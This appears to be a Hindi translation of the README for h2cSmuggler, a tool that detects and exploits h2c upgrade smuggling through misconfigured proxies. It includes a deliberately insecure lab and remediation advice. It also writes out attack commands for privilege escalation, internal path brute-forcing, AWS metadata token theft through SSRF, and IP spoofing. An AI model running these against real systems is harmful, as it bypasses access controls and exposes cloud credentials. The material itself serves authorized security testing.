
HTTP/2 Cleartext (h2c) पर HTTP Request Smuggling
h2cSmuggler, h2c-संगत बैक-एंड सर्वरों के साथ HTTP/2 क्लियरटेक्स्ट (h2c) संचार स्थापित करके असुरक्षित एज-सर्वर proxy_pass कॉन्फ़िगरेशन से HTTP ट्रैफिक को तस्करी करता है, जिससे प्रॉक्सी नियमों और अभिगम नियंत्रणों को बायपास किया जा सकता है।
नीचे मेरे विस्तृत लेख में देखें:
यहाँ: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
कोई भी प्रॉक्सी एंडपॉइंट जो h2c अपग्रेड हेडर को अग्रेषित करता है, प्रभावित हो सकता है। क्योंकि h2c केवल क्लियरटेक्स्ट चैनलों पर किया जाना है, HTTPS सेवाओं पर पहचान अक्सर सच्ची सकारात्मकता देती है।
इसके विपरीत, HTTP सेवाएं झूठी सकारात्मकता दे सकती हैं। उदाहरण के लिए, h2c-सक्षम प्रॉक्सी अपग्रेड को h2c बैक-एंड पर अग्रेषित करने के बजाय स्वयं प्रतिक्रिया दे सकते हैं।
प्रभावित proxy_pass एंडपॉइंट खोजने के लिए एक या अधिक वेब सर्वरों का परीक्षण करने के लिए --scan-list विकल्प का उपयोग करें। निर्देशिका गणना से खोजी गई निर्देशिकाओं की सूची का उपयोग करने पर विचार करें, जैसे:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
h2cSmuggler को एंडपॉइंट की सूची और कुल थ्रेड्स की संख्या के साथ चलाएँ:
./h2csmuggler.py --scan-list urls.txt --threads 5
या, एक व्यक्तिगत परीक्षण इस प्रकार किया जा सकता है:
./h2csmuggler.py -x https://www.example.com/api/ --test
एक बार जब आप एक प्रभावित एंडपॉइंट की पहचान कर लेते हैं जिसका उपयोग टनलिंग के लिए किया जा सकता है, तो आप बैक-एंड सर्वर पर आंतरिक एंडपॉइंट तक पहुंच या ब्रूट-फोर्स कर सकते हैं और कस्टम क्रियाएं या हेडर प्रदान कर सकते हैं। नीचे दिए गए डेमो में, हम प्रॉक्सी डिनाय नियमों को बायपास करने के लिए h2c स्मगलिंग का उपयोग करके एक आंतरिक /flag एंडपॉइंट तक पहुंच प्रदर्शित करते हैं।
सुधार के लिए, उपयोगकर्ता द्वारा प्रदान किए गए Upgrade या Connection हेडर के मानों को अग्रेषित न करें। अतिरिक्त मार्गदर्शन के लिए तकनीकी पोस्ट देखें।
एकमात्र निर्भरता Python hyper-h2 लाइब्रेरी है:
pip3 install h2
परीक्षण वातावरण आपको नियंत्रित वातावरण में h2cSmuggler के साथ प्रयोग करने की अनुमति देगा। docker-compose तीन प्रॉक्सी श्रृंखलाओं का अनुकरण करेगा जो h2c-सक्षम Golang बैक-एंड की ओर ले जाती हैं:
TCP port: Description
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Insecure default configuration)
8002: nginx -> h2c backend (Insecure custom configuration)
8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
[1] प्रमाणपत्र उत्पन्न करें और docker-compose के साथ वातावरण प्रारंभ करें:
# Generate certs
./configs/generate-certificates.sh
# Activate services
docker-compose up
सभी प्रॉक्सी h2c बैक-एंड पर उपलब्ध /flag एंडपॉइंट तक पहुंच से इनकार करते हैं। आइए पोर्ट 8001 पर चल रहे HAProxy सर्वर के माध्यम से निषिद्ध एंडपॉइंट तक पहुंचने का प्रयास करें:
हम --test (या -t) का उपयोग करके प्रॉक्सी की असुरक्षित कॉन्फ़िगरेशन की पुष्टि करने के लिए h2cSmuggler का उपयोग कर सकते हैं:
अब, h2cSmuggler का उपयोग करके h2c अपग्रेड करें, अपने HTTP/2 ट्रैफिक को प्रॉक्सी के माध्यम से टनल करें, और बैक-एंड से /flag एंडपॉइंट का अनुरोध करें, प्रॉक्सी के अभिगम नियंत्रण को बायपास करते हुए:
और गहन स्पष्टीकरण के लिए, तकनीकी लेख देखें।
h2cSmuggler तस्करी अनुरोध का वर्णन करने के लिए एक परिचित curl-जैसे सिंटैक्स का उपयोग करता है:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
--scan-list SCAN_LIST
स्कैनिंग के लिए URL की सूची
--threads THREADS थ्रेड्स की संख्या (--scan-list के साथ उपयोग के लिए)
--upgrade-only आउटगोइंग Connection हेडर से HTTP2-Settings हटाएं
-x PROXY, --proxy PROXY
बायपास करने का प्रयास करने के लिए प्रॉक्सी सर्वर
-i WORDLIST, --wordlist WORDLIST
ब्रूटफोर्स करने के लिए पथों की सूची
-X REQUEST, --request REQUEST
तस्करी की गई क्रिया
-d DATA, --data DATA
तस्करी किया गया डेटा
-H HEADER, --header HEADER
तस्करी किए गए हेडर
-m MAX_TIME, --max-time MAX_TIME
सॉकेट टाइमआउट सेकंड में (प्रकार: फ्लोट; डिफ़ॉल्ट 10)
-t, --test एकल प्रॉक्सी सर्वर का परीक्षण करें
-v, --verbose
proxy_pass एंडपॉइंट की पहचान करने के लिए URL की सूची (जैसे, https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) को स्कैन करना (एकल सर्वर का परीक्षण करते समय थ्रेड गिनती से सावधान रहें):./h2csmuggler.py --scan-list urls.txt --threads 5
या, आउटपुट को फ़ाइल में रीडायरेक्ट करने के लिए। stderr (2>) और stdout (1>) का उपयोग करें। stderr स्ट्रीम में त्रुटियां (जैसे, SSL हैंडशेक/टाइमआउट मुद्दे) होती हैं, जबकि stdout में परिणाम होते हैं।
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
https://edgeserver से एक आंतरिक एंडपॉइंट पर तस्करी किया गया POST अनुरोध भेजना:./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
dirs.txt पथों की एक सूची का प्रतिनिधित्व करता है (जैसे, /api/, /admin/)।/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
Host हेडर SSRF का शोषण करना (जैसे, AWS मेटाडेटा IMDSv2):टोकन प्राप्त करना:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
टोकन संचारित करना:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
X-Forwarded-For हेडर के साथ IP पते को स्पूफ करना:./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
प्रश्न: सर्वर से कई प्रतिक्रियाएँ क्यों हैं?
उत्तर: पहली प्रतिक्रिया h2c अपग्रेड प्रोटोकॉल के अनुसार HTTP/1.1 में शुरू किए गए मूल अपग्रेड अनुरोध का डेटा प्रतिक्रिया है। बाद की प्रतिक्रियाएँ तस्करी किए गए अनुरोध से हैं।
प्रश्न: मुझे "101 Switching Protocols" प्राप्त हुआ लेकिन मुझे रिमोट सर्वर से कोई डेटा प्राप्त नहीं हो रहा है।
उत्तर: मैंने अपने परीक्षणों में इस व्यवहार को देखा और पाया कि कुछ सर्वर 101 स्थिति का जवाब देते हैं भले ही वे वास्तव में HTTP/2 का समर्थन नहीं करते।
प्रश्न: क्या h2c टनल स्थापित करना हमेशा एक कमजोरी है?
उत्तर: नहीं। एक TLS-समाप्त करने वाले TCP लोड बैलेंसर (जैसे, ELB) पर विचार करें जो सीधे h2c-संगत बैक-एंड पर प्रॉक्सी करता है। यद्यपि आप h2c कनेक्शन स्थापित करने में सक्षम हो सकते हैं, यदि कोई अभिगम नियंत्रण लागू नहीं किया जा रहा है, तो बायपास करने के लिए कोई अभिगम नियंत्रण नहीं है, या इस टनल को शुरू करने से कोई विशेषाधिकार प्राप्त नहीं होता है।
प्रश्न: तस्करी किए गए अनुरोध URI में स्कीम क्यों आवश्यक है? इसका उपयोग किसके लिए किया जाता है?
उत्तर: HTTP/2 प्रोटोकॉल को एक :scheme स्यूडो-हेडर की आवश्यकता होती है। हमारे उपयोग के मामले के लिए, http बनाम https संभवतः कोई फर्क नहीं पड़ता। अधिक विवरण के लिए, HTTP/2 RFC: अनुभाग 8.1.2.3 देखें।
प्रश्न: बैक-एंड सर्वर के लिए होस्टनाम के रूप में क्या उपयोग करना चाहिए?
उत्तर: एज सर्वर के समान होस्टनाम से शुरू करना सबसे अच्छा है। अगला, वैकल्पिक होस्टनाम मानों के साथ प्रयोग करने का प्रयास करें।
Twitter: @theBumbleSec
GitHub: the-bumble